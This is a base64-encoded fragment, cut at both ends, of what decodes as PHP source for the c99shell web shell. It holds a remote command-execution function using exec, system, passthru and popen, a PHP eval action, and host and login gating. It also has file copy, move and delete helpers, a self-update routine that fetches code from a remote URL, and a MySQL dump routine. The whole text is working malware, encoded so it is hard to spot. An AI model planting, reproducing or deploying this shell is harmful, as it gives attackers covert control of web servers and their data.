j5TZWMuPC9iPiIsJHN1cmwuImFjdD1zZWN1cml0eSZkPSVkIiksDQogYXJyYXkoIjxiPlNRTDwvYj4iLCRzdXJsLiJhY3Q9c3FsJmQ9JWQiKSwNCiBhcnJheSgiPGI+UEhQLWNvZGU8L2I+Iiwkc3VybC4iYWN0PWV2YWwmZD0lZCIpLA0KIGFycmF5KCI8Yj5GZWVkYmFjazwvYj4iLCRzdXJsLiJhY3Q9ZmVlZGJhY2smZD0lZCIpLA0KIGFycmF5KCI8Yj5TZWxmIHJlbW92ZTwvYj4iLCRzdXJsLiJhY3Q9c2VsZnJlbW92ZSIpLA0KIGFycmF5KCI8Yj5Mb2dvdXQ8L2I+IiwiI1wiIG9uY2xpY2s9XCJpZiAoY29uZmlybSgnQXJlIHlvdSBzdXJlPycpKSB3aW5kb3cuY2xvc2UoKSIpDQopOw0KDQovL0hpZ2hsaWdodC1jb2RlIGNvbG9ycw0KJGhpZ2hsaWdodF9iYWNrZ3JvdW5kID0gIiNjMGMwYzAiOw0KJGhpZ2hsaWdodF9iZyA9ICIjRkZGRkZGIjsNCiRoaWdobGlnaHRfY29tbWVudCA9ICIjNkE2QTZBIjsNCiRoaWdobGlnaHRfZGVmYXVsdCA9ICIjMDAwMEJCIjsNCiRoaWdobGlnaHRfaHRtbCA9ICIjMTMwMEZGIjsNCiRoaWdobGlnaHRfa2V5d29yZCA9ICIjMDA3NzAwIjsNCiRoaWdobGlnaHRfc3RyaW5nID0gIiMwMDAwMDAiOw0KDQpAJGYgPSAkX1JFUVVFU1RbImYiXTsNCkBleHRyYWN0KCRfUkVRVUVTVFsiYzk5c2hjb29rIl0pOw0KDQovL0VORCBDT05GSUdVUkFUSU9ODQoNCg0KLy8gCQkJCVwvCU5leHQgY29kZSBpc24ndCBmb3IgZWRpdGluZwlcLw0KJHRtcCA9IGFycmF5KCk7DQpmb3JlYWNoKCRob3N0X2FsbG93IGFzICRrPT4kdikgeyR0bXBbXSA9IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIscHJlZ19xdW90ZSgkdikpO30NCiRzID0gIiFeKCIuaW1wbG9kZSgifCIsJHRtcCkuIikkIWkiOw0KaWYgKCFwcmVnX21hdGNoKCRzLGdldGVudigiUkVNT1RFX0FERFIiKSkgYW5kICFwcmVnX21hdGNoKCRzLGdldGhvc3RieWFkZHIoZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSkpIHtleGl0KCI8YSBocmVmPVwiaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jYzk5c2hlbGxcIj5jOTlzaGVsbDwvYT46IEFjY2VzcyBEZW5pZWQgLSB5b3VyIGhvc3QgKCIuZ2V0ZW52KCJSRU1PVEVfQUREUiIpLiIpIG5vdCBhbGxvdyIpO30NCmlmICgkbG9naW4pDQp7DQogaWYoZW1wdHkoJG1kNV9wYXNzKSkgeyRtZDVfcGFzcyA9IG1kNSgkcGFzcyk7fQ0KIGlmICgoJF9TRVJWRVJbIlBIUF9BVVRIX1VTRVIiXSAhPSAkbG9naW4gKSBvciAobWQ1KCRfU0VSVkVSWyJQSFBfQVVUSF9QVyJdKSAhPSAkbWQ1X3Bhc3MpKQ0KIHsNCiAgaWYgKCRsb2dpbl90eHQgPT09IGZhbHNlKSB7JGxvZ2luX3R4dCA9ICIiO30NCiAgZWxzZWlmIChlbXB0eSgkbG9naW5fdHh0KSkgeyRsb2dpbl90eHQgPSBzdHJpcF90YWdzKGVyZWdfcmVwbGFjZSgiJm5ic3A7fDxicj4iLCIgIiwkZG9uYXRlZF9odG1sKSk7fQ0KICBoZWFkZXIoIldXVy1BdXRoZW50aWNhdGU6IEJhc2ljIHJlYWxtPVwiYzk5c2hlbGwgIi4kc2h2ZXIuIjogIi4kbG9naW5fdHh0LiJcIiIpOw0KICBoZWFkZXIoIkhUVFAvMS4wIDQwMSBVbmF1dGhvcml6ZWQiKTsNCiAgZXhpdCgkYWNjZXNzZGVuaWVkbWVzcyk7DQogfQ0KfQ0KaWYgKCRhY3QgIT0gImltZyIpDQp7DQokbGFzdGRpciA9IHJlYWxwYXRoKCIuIik7DQpjaGRpcigkY3VyZGlyKTsNCmlmICgoJHNlbGZ3cml0ZSkgb3IgKCR1cGRhdGVub3cpKQ0Kew0KIGlmICgkc2VsZndyaXRlID09ICIxIikgeyRzZWxmd3JpdGUgPSAiYzk5c2hlbGwucGhwIjt9DQogYzk5c2hfZ2V0dXBkYXRlKCk7DQogJGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygkYzk5c2hfdXBkYXRlZnVybCk7DQogJGZwID0gZm9wZW4oJGRhdGEsInciKTsNCiBmd3JpdGUoJGZwLCRkYXRhKTsNCiBmY2xvc2UoJGZwKTsNCiBleGl0Ow0KfQ0KJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7DQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGEpKSB7JHNlc3NfZGF0YSA9IGFycmF5KCk7fQ0KaWYgKCFpc19hcnJheSgkc2Vzc19kYXRhWyJjb3B5Il0pKSB7JHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXkoKTt9DQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTt9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlfYnVmZl9wcmVwYXJlIikpDQp7DQpmdW5jdGlvbiBjOTlfYnVmZl9wcmVwYXJlKCkNCnsNCiBnbG9iYWwgJHNlc3NfZGF0YTsNCiBnbG9iYWwgJGFjdDsNCiBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjb3B5Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fSANCiBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImN1dCJdWyRrXSA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFscGF0aCgkdikpO30gDQogJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImNvcHkiXSk7DQogJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY3V0Il0pOw0KIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsNCiBzb3J0KCRzZXNzX2RhdGFbImN1dCJdKTsNCiBpZiAoJGFjdCAhPSAiY29weSIpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7IH19fQ0KIGVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319fQ0KfQ0KfQ0KYzk5X2J1ZmZfcHJlcGFyZSgpOw0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9zZXNzX3B1dCIpKQ0Kew0KZnVuY3Rpb24gYzk5X3Nlc3NfcHV0KCRkYXRhKQ0Kew0KIGdsb2JhbCAkc2Vzc19jb29raWU7DQogZ2xvYmFsICRzZXNzX2RhdGE7DQogYzk5X2J1ZmZfcHJlcGFyZSgpOw0KICRzZXNzX2RhdGEgPSAkZGF0YTsNCiAkZGF0YSA9IHNlcmlhbGl6ZSgkZGF0YSk7DQogc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7DQp9DQp9DQppZiAoJHNvcnRfc2F2ZSkNCnsNCiBpZiAoIWVtcHR5KCRzb3J0KSkge3NldGNvb2tpZSgic29ydCIsJHNvcnQpO30NCiBpZiAoIWVtcHR5KCRzcWxfc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0Iiwkc3FsX3NvcnQpO30NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHIybWluaSIpKQ0Kew0KZnVuY3Rpb24gc3RyMm1pbmkoJGNvbnRlbnQsJGxlbikNCnsNCiBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pIA0KIHsNCiAgJGxlbiA9IGNlaWwoJGxlbi8yKSAtIDI7DQogIHJldHVybiBzdWJzdHIoJGNvbnRlbnQsIDAsICRsZW4pLiIuLi4iLnN1YnN0cigkY29udGVudCwgLSRsZW4pOw0KIH0NCiBlbHNlIHtyZXR1cm4gJGNvbnRlbnQ7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQ0Kew0KZnVuY3Rpb24gdmlld19zaXplKCRzaXplKQ0Kew0KIGlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHtyZXR1cm4gZmFsc2U7fQ0KIGVsc2UNCiB7DQogIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9DQogIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fQ0KICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30NCiAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KICByZXR1cm4gJHNpemU7DQogfQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfZGlyIikpDQp7DQpmdW5jdGlvbiBmc19jb3B5X2RpcigkZCwkdCkNCnsNCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogaWYgKHN1YnN0cigkZCwtMSwxKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogJGggPSBvcGVuZGlyKCRkKTsNCiB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCiB7DQogIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKQ0KICB7DQogICBpZiAoIWlzX2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQ0KICAgZWxzZSB7JHJldCA9IG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pOyBmc19jb3B5X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGlmICghJHJldCkge3JldHVybiAkcmV0O30NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQogcmV0dXJuIHRydWU7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9vYmoiKSkNCnsNCmZ1bmN0aW9uIGZzX2NvcHlfb2JqKCRkLCR0KQ0Kew0KICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7DQogaWYgKCFpc19kaXIoZGlybmFtZSgkdCkpKSB7bWtkaXIoZGlybmFtZSgkdCkpO30NCiBpZiAoaXNfZGlyKCRkKSkNCiB7DQogIGlmIChzdWJzdHIoJGQsLTEsMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICBpZiAoc3Vic3RyKCR0LC0xLDEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsNCiB9DQogZWxzZWlmIChpc19maWxlKCRkKSkge3JldHVybiBjb3B5KCRkLCR0KTt9DQogZWxzZSB7cmV0dXJuIGZhbHNlO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9kaXIoJGQsJHQpDQp7DQogJGggPSBvcGVuZGlyKCRkKTsNCiBpZiAoIWlzX2RpcigkdCkpIHtta2RpcigkdCk7fQ0KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KIHsNCiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpDQogIHsNCiAgICRyZXQgPSB0cnVlOw0KICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGVsc2Uge2lmIChta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBmYWxzZTt9fQ0KICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCiByZXR1cm4gdHJ1ZTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX29iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9vYmooJGQsJHQpDQp7DQogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICR0ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0KTsNCiBpZiAoaXNfZGlyKCRkKSkNCiB7DQogIGlmIChzdWJzdHIoJGQsLTEsMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICBpZiAoc3Vic3RyKCR0LC0xLDEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgcmV0dXJuIGZzX21vdmVfZGlyKCRkLCR0KTsNCiB9DQogZWxzZWlmIChpc19maWxlKCRkKSkNCiB7DQogIGlmKGNvcHkoJGQsJHQpKSB7cmV0dXJuIHVubGluaygkZCk7fQ0KICBlbHNlIHt1bmxpbmsoJHQpOyByZXR1cm4gZmFsc2U7fQ0KIH0NCiBlbHNlIHtyZXR1cm4gZmFsc2U7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3JtZGlyIikpDQp7DQpmdW5jdGlvbiBmc19ybWRpcigkZCkNCnsNCiAkaCA9IG9wZW5kaXIoJGQpOw0KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KIHsNCiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpDQogIHsNCiAgIGlmICghaXNfZGlyKCRkLiRvKSkge3VubGluaygkZC4kbyk7fQ0KICAgZWxzZSB7ZnNfcm1kaXIoJGQuJG8uRElSRUNUT1JZX1NFUEFSQVRPUik7IHJtZGlyKCRkLiRvKTt9DQogIH0NCiB9DQogY2xvc2VkaXIoJGgpOw0KIHJtZGlyKCRkKTsNCiByZXR1cm4gIWlzX2RpcigkZCk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1vYmoiKSkNCnsNCmZ1bmN0aW9uIGZzX3Jtb2JqKCRvKQ0Kew0KICRvID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRvKTsNCiBpZiAoaXNfZGlyKCRvKSkNCiB7DQogIGlmIChzdWJzdHIoJG8sLTEsMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRvIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICByZXR1cm4gZnNfcm1kaXIoJG8pOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQ0KIGVsc2Uge3JldHVybiBmYWxzZTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkNCnsNCmZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpDQp7IA0KICRyZXN1bHQgPSAiIjsNCiBpZiAoIWVtcHR5KCRjbWQpKQ0KIHsNCiAgaWYgKGlzX2NhbGxhYmxlKCJleGVjIikpIHtleGVjKCRjbWQsJHJlc3VsdCk7ICRyZXN1bHQgPSBqb2luKCJcbiIsJHJlc3VsdCk7fQ0KICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJzaGVsbF9leGVjIikpIHskcmVzdWx0ID0gc2hlbGxfZXhlYygkY21kKTt9DQogIGVsc2VpZiAoaXNfY2FsbGFibGUoInN5c3RlbSIpKSB7QG9iX3N0YXJ0KCk7IHN5c3RlbSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2VuZF9jbGVhbigpO30NCiAgZWxzZWlmIChpc19jYWxsYWJsZSgicGFzc3RocnUiKSkge0BvYl9zdGFydCgpOyBwYXNzdGhydSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2VuZF9jbGVhbigpO30NCiAgZWxzZWlmICgoJHJlc3VsdCA9IGAkY21kYCkgIT09IGZhbHNlKSB7fQ0KICBlbHNlaWYgKGlzX3Jlc291cmNlKCRmcCA9IHBvcGVuKCRjbWQsInIiKSkpDQogIHsNCiAgICRyZXN1bHQgPSAiIjsNCiAgIHdoaWxlKCFmZW9mKCRmcCkpIHskcmVzdWx0IC49IGZyZWFkKCRmcCwxMDI0KTt9DQogICBwY2xvc2UoJGZwKTsNCiAgfQ0KIH0NCiByZXR1cm4gJHJlc3VsdDsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJ0YWJzb3J0IikpDQp7DQogZnVuY3Rpb24gdGFic29ydCgkYSwkYikge2dsb2JhbCAkdjsgcmV0dXJuIHN0cm5hdGNtcCgkYVskdl0sICRiWyR2XSk7fQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXMiKSkNCnsNCmZ1bmN0aW9uIHZpZXdfcGVybXMoJG1vZGUpDQp7DQogaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gInMiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gImQiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXBlID0gImwiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gIi0iO30gDQogZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICJiIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICJjIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICJwIjt9DQogZWxzZSB7JHR5cGUgPSAiPyI7fQ0KDQogJG93bmVyWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDQwMCkgPyAiciIgOiAiLSI7IA0KICRvd25lclsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICJ3IiA6ICItIjsgDQogJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCkgPyAieCIgOiAiLSI7IA0KICRncm91cFsicmVhZCJdID0gKCRtb2RlICYgMDAwNDApID8gInIiIDogIi0iOyANCiAkZ3JvdXBbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAyMCkgPyAidyIgOiAiLSI7IA0KICRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMTApID8gIngiIDogIi0iOyANCiAkd29ybGRbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICJyIiA6ICItIjsgDQogJHdvcmxkWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMDIpID8gInciIDogIi0iOyANCiAkd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKSA/ICJ4IiA6ICItIjsgDQoNCiBpZiggJG1vZGUgJiAweDgwMCApIHskb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbImV4ZWN1dGUiXSA9PSAieCIpID8gInMiIDogIlMiO30NCiBpZiggJG1vZGUgJiAweDQwMCApIHskZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbImV4ZWN1dGUiXSA9PSAieCIpID8gInMiIDogIlMiO30NCiBpZiggJG1vZGUgJiAweDIwMCApIHskd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbImV4ZWN1dGUiXSA9PSAieCIpID8gInQiIDogIlQiO30NCg0KIHJldHVybiAkdHlwZS4kb3duZXJbInJlYWQiXS4kb3duZXJbIndyaXRlIl0uJG93bmVyWyJleGVjdXRlIl0uDQogICAgICAgICRncm91cFsicmVhZCJdLiRncm91cFsid3JpdGUiXS4kZ3JvdXBbImV4ZWN1dGUiXS4NCiAgICAgICAgJHdvcmxkWyJyZWFkIl0uJHdvcmxkWyJ3cml0ZSJdLiR3b3JsZFsiZXhlY3V0ZSJdOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlX3Blcm1zIikpDQp7DQpmdW5jdGlvbiBwYXJzZV9wZXJtcygkbW9kZSkNCnsNCiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHQgPSAiZCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fSANCiBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0ID0gImIiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0ID0gImMiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0ID0gInAiO30NCiBlbHNlIHskdCA9ICI/Ijt9DQogJG9bInIiXSA9ICgkbW9kZSAmIDAwNDAwKSA+IDA7ICRvWyJ3Il0gPSAoJG1vZGUgJiAwMDIwMCkgPiAwOyAkb1sieCJdID0gKCRtb2RlICYgMDAxMDApID4gMDsNCiAkZ1siciJdID0gKCRtb2RlICYgMDAwNDApID4gMDsgJGdbInciXSA9ICgkbW9kZSAmIDAwMDIwKSA+IDA7ICRnWyJ4Il0gPSAoJG1vZGUgJiAwMDAxMCkgPiAwOw0KICR3WyJyIl0gPSAoJG1vZGUgJiAwMDAwNCkgPiAwOyAkd1sidyJdID0gKCRtb2RlICYgMDAwMDIpID4gMDsgJHdbIngiXSA9ICgkbW9kZSAmIDAwMDAxKSA+IDA7DQogcmV0dXJuIGFycmF5KCJ0Ij0+JHQsIm8iPT4kbywiZyI9PiRnLCJ3Ij0+JHcpOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXNfY29sb3IiKSkNCnsNCmZ1bmN0aW9uIHZpZXdfcGVybXNfY29sb3IoJG8pDQp7DQogaWYgKCFpc19yZWFkYWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPVwicmVkXCI+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogZWxzZWlmICghaXNfd3JpdGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj1cIndoaXRlXCI+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogZWxzZSB7cmV0dXJuICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2NoZHMiKSkge2Z1bmN0aW9uIGdjaGRzKCRhLCRiLCRjLCRkPSIiKSB7aWYgKCRhID09ICRiKSB7cmV0dXJuICRjO30gZWxzZSB7cmV0dXJuICRkO319fQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OXNoX2dldHVwZGF0ZSIpKQ0Kew0KZnVuY3Rpb24gYzk5c2hfZ2V0dXBkYXRlKCkNCnsNCiBnbG9iYWwgJHVwZGF0ZW5vdzsNCiAkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkYzk5c2hfdXBkYXRlZnVybC4iP3ZlcnNpb249Ii4kc2h2ZXIuIiYiKTsNCiBpZiAoISRkYXRhKSB7ZWNobyAiQ2FuJ3QgZmV0Y2ggdXBkYXRlLWluZm9ybWF0aW9uISI7fQ0KIGVsc2UNCiB7DQogICRkYXRhID0gdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkZGF0YSkpOw0KICBpZiAoIWlzX2FycmF5KCRkYXRhKSkge2VjaG8gIkNvcnJ1cHRlZCB1cGRhdGUtaW5mb3JtYXRpb24hIjt9DQogIGVsc2VpZiAoJHNodmVyIDwgJGRhdGFbImN1ciJdKSB7JHVwZGF0ZW5vdyA9IHRydWU7fQ0KIH0NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpDQp7DQpmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpDQp7DQogZ2xvYmFsICRzaHZlcjsNCiAkc29jayA9ICRzZXRbInNvY2siXTsNCiAkZGIgPSAkc2V0WyJkYiJdOw0KICRwcmludCA9ICRzZXRbInByaW50Il07DQogJG5sMmJyID0gJHNldFsibmwyYnIiXTsNCiAkZmlsZSA9ICRzZXRbImZpbGUiXTsNCiAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOw0KICR0YWJzID0gJHNldFsidGFicyJdOw0KICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07DQogJHJldCA9IGFycmF5KCk7DQogJHJldFsiZXJyIl0gPSBhcnJheSgpOw0KIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQ0KIGlmIChlbXB0eSgkZGIpKSB7JGRiID0gImRiIjt9DQogaWYgKGVtcHR5KCRwcmludCkpIHskcHJpbnQgPSAwO30NCiBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQ0KIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gdHJ1ZTt9DQogaWYgKGVtcHR5KCRmaWxlKSkNCiB7DQogIGdsb2JhbCAkd2luOw0KICBpZiAoJHdpbikgeyRmaWxlID0gIkM6XFx0bXBcXGR1bXBfIi4kU0VSVkVSX05BTUUuIl8iLiRkYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7fQ0KICBlbHNlIHskZmlsZSA9ICIvdG1wL2R1bXBfIi4kU0VSVkVSX05BTUUuIl8iLiRkYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7fQ0KIH0NCiBpZiAoIWlzX2FycmF5KCR0YWJzKSkgeyR0YWJzID0gYXJyYXkoKTt9DQogaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSB0cnVlO30NCiBpZiAoc2l6ZW9mKCR0YWJzKSA9PSAwKQ0KIHsNCiAgLy8gcmV0cml2ZSB0YWJsZXMtbGlzdA0KICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTIEZST00gIi4kZGIsICRzb2NrKTsNCiAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkge3doaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpKSB7JHRhYnNbXSA9ICRyb3dbMF07fX0NCiB9DQogJFNFUlZFUl9BRERSID0gZ2V0ZW52KCJTRVJWRVJfQUREUiIpOw0KICRTRVJWRVJfTkFNRSA9IGdldGVudigiU0VSVkVSX05BTUUiKTsNCiAkb3V0ID0gIiMgRHVtcGVkIGJ5IEM5OVN